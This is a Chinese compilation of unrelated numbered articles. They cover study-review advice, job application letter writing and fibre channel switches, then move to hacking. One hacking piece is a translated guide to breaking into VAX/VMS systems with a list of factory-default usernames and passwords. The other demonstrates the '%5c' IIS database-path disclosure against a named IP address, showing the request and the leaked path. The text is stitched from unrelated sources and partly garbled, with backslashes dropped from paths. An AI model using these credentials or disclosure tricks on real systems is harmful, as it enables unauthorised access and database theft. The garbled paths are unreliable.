首先是按一定的项目分类，然后进行数理统计，找出主要的失分领域。如可以设立“根本不懂”、“考时忘记了”、“掌握不准确”、“粗心大意”和“审题错误” 等项目，对全部失分进行分类，得出失分率，这样就可以大体了解主要的失分因素了。也可设立“人物”、“事件”、“时间”、“地域”、“术语”与“评价”等项目进行分类统计，找出自己的薄弱环节。男生常常在“时间”领域丢分，女生则常常在“地域”领域丢分。还可设立“中国古代史”“中国近代史”“国史”“世界近代史”和“世界现代史”等项目进行分类统计。一般而言，世界史常常是弱点。

其次是进行深层次分析，看看隐藏在失分表象下面的真实原因是什么。如“审题错误”是众多同学失分的重要原因，要进一步分析是粗心大意造成的还是时间不够用造成的?是心理紧张造成的还是根本就没有读懂题目造成的?当然也可能是由于思维定势造成的。又如“考时忘记了”也是常见的失分原因。那么，是识记不牢固，还是过于紧张?是过于疲劳(身体不好)，还是思维不够敏捷(根本就没有想到)?一般而言，各种具体原因大体都可归入知识基础、学习态度、学习方法、心理与身体素质和考前准备五个方面。

最后是制订整改措施。没有具体的措施，光说“今后要努力学习”等于不说。在找出找准失分原因的基础上，就可以有针对性抓住主要问题，制定具体的整改措施，以此指导下一阶段的学习。当然，同样重要的是以后的行动。

心动不如行动。再好的学习方法，只有与每位学生自身的特点相结合，只有转化为每位学生的日常行动，才会产生积极效果。在此，笔者真诚地寄语每一位高中文科生：“一个人所能给予另一个人的最大贡献，便是帮助他学会自助”，我已尽力了，现在就看你的啦!

篇14：求职指导：求职信写作要点详述

求职信也称自荐信，这是求职者以书信的方式自然举荐、表达求职的愿望、陈述求职的理由、提出求职要求的一种信函文本。通过它，求职者向用人单位展示自己适合于工作岗位的知识水、工作能力、人格魅力，从而建立起与用人单位之间的密切联系，为择业的成功打下良好的基础。

一、求职信的作用

求职信是自我推销的广告，是一幅自我描述的“彩照”，是寻找工作的敲门砖。求职信会给用人单位留下或好或坏的第一印象，它是用人单位取舍的首要依据，也是对求职者的一次非正式考核。通过求职信，用人单位可以了解求职者的思想修养、知识水平、工作能力、文字表达能力以及求职的诚意等等。凭这些来进行初步筛选。求职信的一个最大好处是它可以直接到达决策者手中。写求职信的目的在于让对方对自己感兴趣。这里有两个关键因素：一是对方感兴趣的是什么？二是自己让对方感兴趣的是什么？为此，求职信要紧扣用人单位的录用标准，表述自己的求职动机和优势，让对方感到你是适合这一工作的人。

二、求职信的种类

求职信可以从不同的角度进行分类，不同类别的求职信，其内容侧重点和行文语气各有不同。

从求职者有无实践经验的角度分，求职有毕业求职(初次就业)与重新求职(跳槽或再就业)两种情况。与此相应的求职信也有毕业求职信与重新就业求职信两种。前者是指刚从大专院校毕业或即将毕业的初次求职者写的求职信；后者则是指在职者打逄“跳槽”或失业下岗者欲谋新职进所写的求职信。

从求职者是否获得招聘信息的角度分，求职可分自荐求职和应聘求职两种情况。与此相应的求职信也可分为自荐求职信和应聘求职信两种。前者是指求职者在未获得准确用人信息的情况下，主动向用人单位冒昧写的带有自我推荐性质的求职信；后者则是有针对性地写给某单位以谋求一特定职位及反映自身条件的求职信。

从有无明确的求职目标的角度分，求职信可分为三类：第一类是具有高度针对性的信，是针对某单位的某个人或某单位的某一个具体职位写的，寄一封具有很强感染力和说服力的求职信，表示希望面谈的要求迪是一种有效的求职方式，第二类是具有普遍性的信，适用于不同单位，可大量复制，到处“撒网”，这种求职信缺乏针对性，效果不佳，但也不排除选中的可能。这种信比较省时省力。第三类是综合以上两种求职信的特点，属于“混合型”，信的主体部分不变，只是根据用人单位的性质和需求条件增加或删去某些内容，开头和结尾注意使用准确的称呼和恰当的措词即可。这种求职信比较适用，既可节省时间，又可以增加求职的成功率。

三、求职信的格式

1、称谓

即接收并阅看信件的人的称呼。

如果你采用第一类型的求职认形式，一般来说，收信人应该是单位里有实权录用你的人。要特别注意此人的姓名和职务，书写要准确，万万马虎不得。假如用人单位有关人员的姓名不熟悉，那么在求职信中可以进接称阅信人的职务头衔。如“XX电了集团公司负责人”、“XX公司负责人”、“XX集团人事经理”等。如果你采用第二种类型的求职信的写法，则称谓名用“尊敬的领导”。

求职信的目的在于求职，因而称谓要求严肃谨慎，要有礼貌。既不能随随便便，又不能过分新昵，以免给人以阿谀、唐突之嫌。

称谓后的问候语一般应为“您好”而非“你好”，更不能用“您们好”。即便招聘人不是一人，也不能用这样的字样，因为这不仅让人感觉不出你的问候，反而使他们主为你才疏学浅，连起码的常识都不懂，因为“您”是不能用于复数的。

2、开头

求职信的开头应开宗明义，自报家门，直截了当地说明求职意图，使信的主旨明确、醒目，引起对方注意，如“我是XXX大学即将毕业的学生，想在贵公司谋求一份职业”等。

开头表达力求简洁，并能吸引对方读下去。切忌虚言冗杂、客套问候、离题万里，让对方产生厌恶情绪。

3、主体

这部分是求职信的重点，书写形式可以多样，但主要内容一般是：

姓名

学历

毕业学校

专业、辅修专业

讲明自己求职的理由、目标

重点介绍自己应聘、应征或寻求工作的条件，突出自己的重要成绩、特长、优势及适合所求职的岗位

阐述自己的敬业精神

简单介绍自己的个性

总之，要做到告知情况，突出重点，言简意赅，具有吸引力和新鲜感，语气自然。

4、结尾

求职信的结尾，主要是进步强调求职的愿望，希望用人单位能给予考虑，或希望前往面谈，接受单位的进一步考察，等等。

千万不可加上一句“紧适盯人”的话，如：“下周四我会再打电话向你问进一步的消息”等。用这种“强势推销”的方式，不仅很少能够获得满意的结果，而且更可能因此让人倒尽胃口。如果对方本来很喜欢你的信，这会儿也将因这句话而印象变差了。当你打来电话之时，很可能就被秘书进接拒绝了。

无论如何表达，都要注意用语恰当、得体、掌握分寸，以免造成不良印象，或授人以柄，带来麻烦。

5、致敬语、署名、日期

因为求职信，供求双方都是互相陌生的，所以更要讲究必要的礼节性的致敬语。在正文结束后，可写上一句祝福语，或在正文结束后，紧接着下一行空两格，写上“此致”二字，后面不打标点;再在“此致”的下一行顶格书写“敬礼”二字，后面打感叹号。同时在致敬语右下方，签署求职者的姓名及具体日期。

若是手写署名，要注意两点：一是不要过分谦恭，如写“您忠实的待者：XXX”等，把自己有意识地贬低;二是字迹工整，切不可用署名炫耀自己的书法，引起对方不快。

篇15：详述光纤通道交换机无线连接服务

交换机间的互联线路可以在光纤通道交换机上的任意端口上创建，接入可以与真正的服务器连接在一起来满足用户制定，交换机堆叠最多可以达到239个，

在SAN存储架构中，光纤通道交换机其中的核心级设备，在SAN存储过程中起着非常重要的作用，影响着网络的性能。光纤通道交换机为高带宽和低延迟数据通信提供光纤通道切换功能。

目前，光纤通道交换机提供无连接服务(Class2和3)。光纤交换机是使用光纤网络路由直接连接的方式，使用路由软件直接连接发起者和目标，这样就可以独享光纤的所有带宽。

这就意味着光纤中每一个连接都可以单独存在，与其他连接互不干扰。光纤交换机端口的数量从8口到64口，甚至更多，其中包含智能交换硬件，使交换机所有端口中的任意两点可以建立连接。光纤交换机通过E_Ports(扩展端口)可以进行堆叠，这种方法可以使光纤网络扩展到数千个节点，交换机堆叠最多可以达到239个。

较大型的SAN通过在一个网状网络中连接多个交换机来实现。其中每个交换机有一个到网络中其他交换机的单向连接。在的例子中，使用的交换机有16端口。随着网络中的交换机数量增加。

用于交换机间连接的端口百分比增加。这也是FC交换机端口昂贵的原因之一。总共有96个端口的由6个交换机组成的网状SAN核心网络中，有30个交换机间的连接和66个用户端口。

交换机大大提高了光纤网络的性能，例如：名称服务、管理服务以及更加完善的设备连接协议。交换机在绝大多数的环境中被用来作为提供主机到阵列连接的完善机制，尤其是在多重设备、多重引导的环境中交换机是不可或缺的。

光纤通道交换机在SAN存储架构中处于连接核心地位。光纤通道交换机在逻辑上是SAN的核心，它连接着主机和存储设备。Fabric的基础结构可以被看作是SAN建立的基础。当从一个设备发送一帧数据到交换机时。

交换机收到后，将该帧路由到适当目标设备中去，

实际上，一个帧可以在它被完全接收之前就开始进行转发。光纤通道交换机也很智能，它可以提供各种Fabric服务，包括在网络上定位其他节点的服务(简单名字服务)，可以自动和Fabric中的其他交换机之间建立路由，将设备分区(zoning)，还可以监视和处理错误。

光纤通道交换机有着许多不同的功能，包括支持GBIC、冗余风扇和电源分区、环操作和多管理接口等。每一项功能都可以增加整个交换网络的可操作性，理解这些特点可以帮助用户设计一个功能强大的大规模的SAN。

光纤交换机的主要功能如下：自配置端口、环路设备支持、交换机级联、自适应速度检测、可配置的帧缓冲、分区(基于物理端口和基于WWN的分区)、IPoverFiberChannel(IPFC)广播、远程登录、Web管理、简单网络管理协议(SNMP)以及SCSI接口独立设备服务(SES)等。

光纤交换机往往根据其功能和特点被分为不同的类别。通常硬件可能都是基于相同的基本架构或者相同的ASIC芯片，只是软件的功能不同，光纤通道交换机的价格是根据它所能满足的需求来制定的。高冗余的核心级交换机是个例外，它往往是根据自己的硬件容错平台开发设计的。以下是各种主要类别的交换机的不同特点。

入门级交换机的应用主要集中于8到16个端口的小型工作组，它适合低价格、很少需要扩展和管理的场合。它们往往被用来代替集线器，可以提供比集线器更高的带宽和提供更可靠的连接。

人们一般不会单独购买入门级交换机，而是经常和其他级别交换机一起购买，以组成一个完整的存储解决方案。入门级交换机提供有限级别的端口级联能力。如果用户单独使用这类低端设备时，可能会遇到一些可管理性问题。

光纤交换机提供将许多交换机级联成一个大规模的Fabric的能力。通过连接两台交换机的一个或多个端口，连接到交换机上的所有端口都可以看到网络的唯一的映像，在这个Fabric上的任何节点都可以和其他节点进行通信。

从本质上讲，通过级联交换机，能够建立一个大型的、虚拟的、具有分布式优点的交换机，并且它可以跨越的距离非常大。由多个交换机建立起来的Fabric，看起来就像是一个由单独的交换机组成的Fabric，所有交换机上的端口可以像访问本地交换机一样查看和访问Fabric上的所有其他端口。统一的名字服务器和管理服务允许通过单独的接口查看和修改全部Fabric的信息。

篇16：详述间谍卫星程序的侵入策略

1.VAX: VAX的全称是Virtual Address Extension，VAX计算机是由于硬件条件的限制，被设计

来储存地址的，使它能够很简便的操作一些很大的适合于储存的程序。 VAX计算机系统是

DES(Digital Equipment Corporation)公司设计的。普遍的VAX系列的包括一些桌上型VAX系统使用

的是大型机上的处理器。这些系列的计算机变得越来越小，如MicroVAX计算机逐渐升级，像一些中

等大小的11/7XX系列到最新的6000系列的。这些计算机系统普遍的使用一种开放型的系统VMS。

VMS: VMS全称Virtual Memory System.VMS操作系统非常类似于其他的开放型的系统。DEC公司

利用这种系统将他们公司的计算机应用于商业和工程行业，在这之前，VMS系统仅仅被应用于单机系

统中。VMS公司构思了一条发展之路，将他们的VMS系统融入一些基本的计算机管理应用于个人家庭

用户和一些其它的计算机系统。

DCL: DCL全称Digital Command Language.它使VMS系统的基础语言。你们那些人中有IBM系统

，你能想象DCL程序类似于批处理文件。你能够用它做很多事情。（比PC-DOS或者MS-DOS更多）但是

它的工作都是使用一些基本而又相同的方法。有一个差别就是你在DCL程序里想要显示任何文件之前

必须在提示符前面输入“$”符号。DCL程序通常调用COM为扩展名的文件时是很快捷的。当你没有执

行一个COM或DCL程序的文件时，几乎在DCL处理器里总是显示某些文件。

当你进入一个VAX系统的时候，你将会看到一些类似于下面的界面：

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

WELCOME

TO THE

AT&T MICROVAX II SYSTEM

Username: (username here)

Password: (password here... does not echo)

$ (<-- this is your prompt)

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

GETTING IN A VAX BY ERROR:

=========================

你将知道如果你有一个VAX显示系统，如果你得到用户名和密码的提示符，那么下面将会帮助你

猜测密码。

GETTING IN A VAX BY ERROR:

=========================

我在这里将只告诉你一件事情。VMS 4.X和特别的VMS4.4系统是金山，宝库。我现在不是进入

到这个系统内部，因为它有很多的解释不适合于我们攻击的范围。你能够在ARPANET和USENET中发现

很多这样的讨论。你还能从COMPUSERVE信息服务中获得这方面的信息，比特的信息交换中，DES公司

的VAX的BBS中。在VMS5.1系统中存在一个很大的漏洞，但是这个漏洞还不是很严重。如果我发送足

够的请求，我将能够用另外的信息覆盖这条信息。

利用缺省设置进入VAX计算机：

当安装这些VAX系统的时候，系统存在几个缺省的账号可以进入。这些账号的密码在系统与系

统之间是不会改变的，

这个系统的管理员应该删除这些账号或者改变密码，但是这些缺省账号在很

长的时间内是不会被人所知的。下面我将列出这些缺省的账号：

USERNAME PASSWORD

-------- --------

DECNET DECNET

* SYSTEST UETP

SYSTEST

SYSTEM SYSTEM

DEFAULT DEFAULT

* FIELD FIELD

OPERATIONS OPERATIONS

* SUPPORT SUPPORT

DEC

SYSTEST_CLIG CLIG

SYSTEST

TEST

在我列出了一些密码的地方，我发现了这些用户名都有很多缺省得密码。在这些旁边有星号的

缺省账号都是一些非常强壮的账号。

VAX VMS 命令：

当你得到”$“符号的时候，你将能够显示出一百多个命令。我将介绍几个比较常用的：

@ 执行这个程序。当你想要运行DCL BATCH或*.COM文件，你必须在这些文件前面输入@。

EX:@LOGIN.COM;3

ACCOUNTING - 这是一个运行账号的程序。如果你退出一个系统的时候，你能够发现屏幕上

显示出你从进入这个系统到退出这个系统所用的时间，在这段时间中，这个账号是在被使用当中的

。如果你账号资料忘记的话，你可以在系统管理员在系统内的时候输入这个命令来获取你的资料。

CREATE -显示任何文件。如果你在你电脑内的PASCAL编译器中编写了一个程序，你可以上传

这个文件到VAX计算机内用这个CREATE命令执行。

EX:CREATE program.pas;1

CREATE/DIR - 这将会为你建立一个空目录。我将说明一下怎样在一分钟内去得到一个VAX

系统。看看SET命令。

EX:CREATE/DIR NameOfDir

DELETE - 被用来删除文件或者清除空目录。删除一个文件，显示出“DEL FILENAME.EXT;X”

删除一个空目录，首先删除目录内的所有文件，“DEL/LOG *.*;*”下一步，你可以设

置一个保护：“SET PROTECTION=OVNER:D DIRNAME.DIR” 下一步，删除这个目录：“DEL

DIRNAME.DIR”

EX:DEL DAVID.TXT;4

DIRECTORY - 显示你文件所存在的目录。增加“/BRIEF”命令将会给列出一个短的列表，增加“

/FULL”将会给你一个整屏的列表包括每个文件的安全信息。你可以使用DIR命令和通配符来缩短文

件的长度。“*”号能表示任何长度的文件。”%“能够表示任何一个字母。

EDIT -这个命令为是编写者设计的。有很多VAX系统都是使用类似于MS-DOS/PC-DOS命令行的

编写器。无论如何，很多VAX计算机系统都是使用EDT/EVE编辑器来进行编辑的。你能够用这个编辑

器很快的做很多事情。但是仅仅使用你的终端来控制它是很困难的。VT-100运行的速度是非常慢的

。如果你使用EDT/EVE编辑器进行编辑的时候，你可以试着用VT-220终端系统来登陆。

HELP - 这个命令是HELP程序。

LIBRARY -被用来存档用的。如果你是个新手的话，你可以不使用这个命令。我现在提起它

是因为我将把它打印出来和更多的人就VAX系统左一个更深层次的讨论。

篇17：详述暴库漏洞原理与防范

有关暴库的方法，高手们常在入侵文章中提到，但多是一笔带过，有些就某一个方法谈的，也多是就方法进行探讨，最近有一篇《再谈%5c暴库的利用》的文章，算是对暴库进行了一些总结，因而在网是流传很广。但仍没有谈及原理，而且结论也只是就于经验，似是而非，于是决定来谈谈暴库的原理与规律。不到之处，大家多指教。

“%5c”暴库大法

这种方法被认为是暴库绝招，很是流行了一阵，但是和其它漏洞一样，随着知道的人多了，防备也加强了，没以前那么有效。这种方法简单点说就是在打开网页时，把网址址中的“/”换成“%5c”，然后提交，就可以暴出数据库的路径。

实际上，并不是所有网址都有效，需要“asp?id=”这样的网页地址，或者说表示有调用数据库的行为的地址。如果你确认这个网页有调用数据库的，后面不是这样的也可以，比如Chklogin.asp等也可以（还有其它条件，后面再谈）。先举个黑防第四轮实验室中的例子：

219.237.81.46/yddown%5cview.asp?id=3

把第二个“/”换成“%5c”：

219.237.81.46/yddown%5cview.asp?id=3

提交后会得到如下返回结果：

Microsoft JET Database Engine 错误 '80004005'

'D:111adminrds_dbd32rfd213fg.mdb'不是一个有效的路径。确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。

/yddown/conn.asp，行12

这是黑防实验室的一个系统，暴库是小编们故意开放的，因为它的关口不是注入，而是进入后台后如何获得WebShell。可以看到我们直接获取了数据库地址，可以下载了。

现在很多人都知道这个方法了，我就不多举例了。但清楚暴库原理的人估计是不多的，有人成功，有人不成功，《再谈%5c暴库的利用》一文总结说，须变换第二个“/”为“%5c”才行。很有实用性，但这个结论只是一种经验，其实并不正确，让我们先看看它的原理。

“%5c”暴库法，它不是网页本身的漏洞，而是利用了IIS解码方式中的一个特性，如果IIS安全设置不周全，而网页设计者未考虑IIS错误，就会被人利用。为何要用“%5c”？它实际上是“”的十六进制代码，也就是“”的另一种表示法。在电脑中，它们是同一个东东，但提交“”和“%5c”却会产生不同的结果。在IE中，我们把下面第一个地址中的“/”换成“”提交：

219.237.81.46/yddown/view.asp?id=3

219.237.81.46/yddownview.asp?id=3

二者的访问结果是一样的。IE会自动把“”转变成“/”，从而访问到同一地址。但是，当我们把“/”换成十六进制写法“%5c”时，IE不会对此进行转换。地址中的“%5c”被原样提交了，抓包结果如下：

GET /yddown%5cview.asp?id=3 HTTP/1.1

当IIS收到并做出解析时，又会将%5c还原成“”。这样，IIS中网址的相对路径就变成/yddownview.asp，这一点很重要，问题正是从这里开始的，

在ASP网页中，凡调用数据库时，都会用到一个连接数据库的网页Conn.asp，它会创建一个数据库连接对象，定义要调用的数据库路径，一个典型的Conn.asp如下：

dim conn

dim dbpath

set conn=server.createobject(”adodb.connection“)

DBPath = Server.MapPath(”admin/rds_dbd32rfd213fg.mdb“)

conn.Open ”driver={Microsoft Access Driver (*.mdb)};dbq=“ & DBPath

大家注意第4句：“DBPath = Server.MapPath(”admin/rds_dbd32rfd213fg.mdb")”，Server.MapPath方法的作用是将网站中的相对路径转变成物理上的绝对路径，为何要这样？因为连接数据库时，须指明它的绝对路径才能读取和写入。那什么是相对路径、绝对路径？IIS为了不让访问者知道真实的实际路径，并且确保网站不因变换地址而影响使用，它采用了一种相对路径来表示目录与文件之间的关系。也就是网址目录只表示从根目录起的相对位置。比如网站：219.237.81.46的根目录为：“D:111”，雨点下载目录则在根目录（D:111）内的“yddown”下，我们网站访问该站时，就是在访问D:111yddown目录，而219.237.81.46/yddown/admin/只表明了Admin与Yddown这个目录的相对关系，把这个网站放在E盘，也一样不改变Admin位于Yddown目录下的关系。

当Server.MapPath方法将相对路径转为真实路径时，它实际是三部分路径加在一起得到真实路径的：网页目前执行时所在的相对路径，也就是从网站物理根目录起的相对路径，比如上面例子中Conn.asp处在从根目录起的“/yddown/”下；然后调用的数据库的相对路径是admin/rds_dbd32rfd213fg.mdb，这样就得到从根目录起的完整相对路径：“/yddown/admin/rds_dbd32rfd213fg.mdb”。这些都只是相对的路径，如何变为真实路径呢？

设置过IIS的人都会知道，每一个网站，都必须指定它在硬盘上的物理目录，比如上例中，网站根目录所在的物理目录为：“D:111”，Server.MapPath方法正是通过把“网站根目录的物理地址＋完整的相对路径”，从而得到真实的物理路径，数据库在硬盘上的物理路径是：D:111yddownadminrds_dbd32rfd213fg.mdb。IIS以“”表示真实路径的目录关系，而以“/”表示虚拟路径，这可能就是IE会自动把我们地址中的“”转为“/”的原因。

明白这些，我们再来理解暴库就不难了，当我们提交：219.237.81.46/yddown%5cview.asp?id=3时，View.asp调用Conn.asp后，得到的网页相对路径是这样的：“/yddown”，再加上“admin/rds_dbd32rfd213fg.mdb”，就得到“/yddown＋admin/rds_dbd32rfd213fg.mdb”。在IIS中，“/”和“”代表着不同的意义，遇到了“”时，认为它已到了根目录所在的物理路径，不再往上解析（为何不再往上解析？后面还会分析），于是网站的完整相对路径变成了：“admin/rds_dbd32rfd213fg.mdb”，再加上根目录的物理路径，得到的真实路径变成：“D:111adminrds_dbd32rfd213fg.mdb”，而这个路径是不存在的，数据库连接当然会失败，于是IIS会报错，并给出错误原因：